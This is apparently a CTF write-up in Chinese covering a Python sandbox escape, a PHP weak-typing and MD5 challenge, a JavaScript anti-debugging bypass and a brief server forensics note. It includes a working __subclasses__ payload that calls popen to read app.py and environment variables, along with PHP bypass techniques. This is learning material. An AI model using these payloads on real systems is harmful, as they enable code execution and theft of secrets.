web
菜狗工具#1
给了源码,并设置了黑名单 并设置了新的内置模块
1 2 3 4 5 6 7 8
| black_list = [ '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'SystemExit', 'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input' ] new_builtins = dict([ (key, val) for key, val in __builtins__.__dict__.items() if key not in black_list ])
|
ban了常用的一些能执行代码和读文件的模块
实际上这题就是ssti
print([].__class__.__base__.__subclasses__())
找<class 'os._wrap_close'>
print([].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat app.py').read())
或者读环境变量
print([].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('env').read())
ezPHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php include "flag.php"; highlight_file(__FILE__); error_reporting(0);
$a = 'O.U.C';
$query = $_SERVER['QUERY_STRING']; parse_str($query); if (preg_match('/_|%5f|\.|%2E/i',$query)){ die('听说你是黑客'); }
echo '你知道b等于什么能绕过这个弱类型吗(〃` 3′〃)'.'<br>'; if (md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){ echo "哎呦,不错喔".'<br>'; $O_U_C=$_GET['O_U_C']; if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)){ echo 'but'.'如果我寄出===阁下又该如何应对๑乛◡乛๑'.'<br>'; if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){ echo '好,那么好'.'<br>'; if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){ echo '还是被你解出来了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag; }else{ echo '告诉你secret的md5值也无妨,反正哈希是不可逆的๑乛◡乛๑,除非你能箨斩攻击我'.md5($secret.'ouc').'<br>'; } }else{ echo '不过如此'; } }else{ die("不行嘛(´ェ`)"); } }else{ echo '嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)'; }
|
定义和用法
parse_str() 函数把查询字符串解析到变量中。
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
可以覆盖$a的值 用0e 开头的md5 就能绕过
下划线get变量名可以用空格绕过
if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C))
用换行绕过,preg_match只匹配第一行
爆率真的高
打开控制台发现输出一直在清除输出
而清除控制台输出的是console
对象的clear
方法
用Resources Saver插件来保存项目
在本地打开
观察可以发现清除的主要代码在eval里,代码被混淆了
这里考虑在eval之前把console的clear方法重写
1 2 3 4 5 6
| Object.defineProperty(console, 'clear', { value: () => 0, writable: true, configurable: true });
|
保存后再运行
在这两处下断点,可以看到前一个调用了random方法,后一个的
后一个是log方法
可以联想到是通过random
不断产生随机数然后再调用console.log()
输出
这里把random方法也重写
1 2 3 4 5 6
| Object.defineProperty(Math, 'random', { value: () => 1, writable: true, configurable: true });
|
帕鲁服务器#1
挂载vmdk(要升级vm17.5 才有Debian12镜像 进去root免密登录)
然后wireshark抓虚拟机的流量